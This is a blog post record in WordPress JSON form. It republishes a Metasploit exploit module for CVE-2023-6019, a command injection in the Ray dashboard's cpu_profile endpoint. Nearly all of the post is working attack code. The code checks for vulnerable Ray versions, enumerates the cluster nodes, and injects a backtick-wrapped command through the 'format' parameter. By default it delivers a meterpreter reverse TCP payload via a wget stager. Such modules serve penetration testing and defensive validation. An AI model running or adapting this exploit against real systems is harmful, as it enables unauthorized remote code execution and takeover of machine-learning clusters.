{"id":59125,"date":"2024-08-23T18:49:58","date_gmt":"2024-08-23T15:49:58","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180359\/ray_cpu_profile_cmd_injection_cve_2023_6019.rb.txt"},"modified":"2024-08-23T18:49:58","modified_gmt":"2024-08-23T15:49:58","slug":"ray-cpu_profile-command-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/ray-cpu_profile-command-injection\/","title":{"rendered":"Ray cpu_profile Command Injection"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Exploit::CmdStager<br \/>prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Ray cpu_profile command injection&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>Ray RCE via cpu_profile command injection vulnerability.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;sierrabearchell&#8217;, # Vulnerability discovery<br \/>&#8216;byt3bl33d3r &lt;marcello@protectai.com&gt;&#8217;, # Python Metasploit module<br \/>&#8216;Takahiro Yokoyama&#8217; # Metasploit module<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2023-6019&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/huntr.com\/bounties\/d0290f3c-b302-4161-89f2-c13bb28b4cfe\/&#8217;],<br \/>],<br \/>&#8216;CmdStagerFlavor&#8217; =&gt; %i[wget],<br \/>&#8216;Payload&#8217; =&gt; {<br \/>&#8216;DisableNops&#8217; =&gt; true<br \/>},<br \/>&#8216;Platform&#8217; =&gt; %w[linux],<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[ &#8216;Linux x64&#8217;, { &#8216;Arch&#8217; =&gt; ARCH_X64, &#8216;Platform&#8217; =&gt; &#8216;linux&#8217; } ],<br \/>[ &#8216;Linux x86&#8217;, { &#8216;Arch&#8217; =&gt; ARCH_X86, &#8216;Platform&#8217; =&gt; &#8216;linux&#8217; } ],<br \/>[ &#8216;Linux aarch64&#8217;, { &#8216;Arch&#8217; =&gt; ARCH_AARCH64, &#8216;Platform&#8217; =&gt; &#8216;linux&#8217; } ],<br \/>[<br \/>&#8216;Linux Command&#8217;, {<br \/>&#8216;Arch&#8217; =&gt; [ ARCH_CMD ], &#8216;Platform&#8217; =&gt; [ &#8216;unix&#8217;, &#8216;linux&#8217; ], &#8216;Type&#8217; =&gt; :nix_cmd,<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;PAYLOAD&#8217; =&gt; &#8216;cmd\/linux\/http\/x64\/meterpreter_reverse_tcp&#8217;,<br \/>&#8216;FETCH_COMMAND&#8217; =&gt; &#8216;WGET&#8217;<br \/>}<br \/>}<br \/>]],<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2023-11-15&#8217;,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [ CRASH_SAFE, ],<br \/>&#8216;SideEffects&#8217; =&gt; [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],<br \/>&#8216;Reliability&#8217; =&gt; [ REPEATABLE_SESSION, ]}<br \/>)<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/>Opt::RPORT(8265),<br \/>])<br \/>end<\/p>\n<p>def get_nodes<br \/>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;nodes?view=summary&#8217;)<br \/>})<br \/>return unless res &amp;&amp; res.code == 200<\/p>\n<p>JSON.parse(res.body)<br \/>end<\/p>\n<p>def check<br \/>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;api\/version&#8217;)<br \/>})<br \/>return Exploit::CheckCode::Unknown unless res &amp;&amp; res.code == 200<\/p>\n<p>ray_version = res.get_json_document[&#8216;ray_version&#8217;]\n<p>return Exploit::CheckCode::Unknown unless ray_version<\/p>\n<p>ray_version = Rex::Version.new(ray_version)<br \/>return Exploit::CheckCode::Safe unless Rex::Version.new(&#8216;2.2.0&#8217;) &lt;= ray_version &amp;&amp; ray_version &lt;= Rex::Version.new(&#8216;2.6.3&#8217;)<\/p>\n<p>@nodes = get_nodes<br \/>return Exploit::CheckCode::Vulnerable unless @nodes.nil?<\/p>\n<p>Exploit::CheckCode::Appears<br \/>end<\/p>\n<p>def exploit<br \/># We need to pass valid node info to \/worker\/cpu_profile for the server to process the request<br \/># First we list all nodes and grab the pid and ip of the first one (could be any)<br \/>@nodes ||= get_nodes<br \/>fail_with(Failure::Unknown, &#8216;Failed to get nodes&#8217;) unless @nodes<br \/>first_node = @nodes[&#8216;data&#8217;][&#8216;summary&#8217;].first<br \/>fail_with(Failure::Unknown, &#8216;Failed to get pid&#8217;) unless first_node.key?(&#8216;agent&#8217;) &amp;&amp; first_node[&#8216;agent&#8217;].key?(&#8216;pid&#8217;)<br \/>pid = first_node[&#8216;agent&#8217;][&#8216;pid&#8217;]fail_with(Failure::Unknown, &#8216;Failed to get ip&#8217;) unless first_node.key?(&#8216;ip&#8217;)<br \/>ip = first_node[&#8216;ip&#8217;]print_good(&#8220;Grabbed node info, pid: #{pid}, ip: #{ip}&#8221;)<br \/>case target[&#8216;Type&#8217;]when :nix_cmd<br \/>execute_command(payload.encoded, { pid: pid, ip: ip })<br \/>else<br \/>execute_cmdstager({ flavor: :wget, pid: pid, ip: ip })<br \/>end<br \/>end<\/p>\n<p>def execute_command(cmd, opts = {})<br \/>send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;worker\/cpu_profile&#8217;),<br \/>&#8216;vars_get&#8217; =&gt; {<br \/>&#8216;pid&#8217; =&gt; opts[:pid],<br \/>&#8216;ip&#8217; =&gt; opts[:ip],<br \/>&#8216;duration&#8217; =&gt; 5,<br \/>&#8216;native&#8217; =&gt; 0,<br \/>&#8216;format&#8217; =&gt; &#8220;`#{cmd}`&#8221;<br \/>}<br \/>})<br \/>end<\/p>\n<p>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::CmdStagerprepend Msf::Exploit::Remote::AutoCheck def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Ray cpu_profile command injection&#8217;,&#8216;Description&#8217; =&gt; %q{Ray RCE via cpu_profile command injection vulnerability.},&#8216;Author&#8217; =&gt; [&#8216;sierrabearchell&#8217;, # Vulnerability discovery&#8216;byt3bl33d3r &lt;marcello@protectai.com&gt;&#8217;, # Python Metasploit module&#8216;Takahiro Yokoyama&#8217; # Metasploit module],&#8216;License&#8217; =&gt; MSF_LICENSE,&#8216;References&#8217; =&gt; [[&#8216;CVE&#8217;, &#8216;2023-6019&#8217;],[&#8216;URL&#8217;, &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59125","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59125","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59125"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59125\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59125"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59125"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59125"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}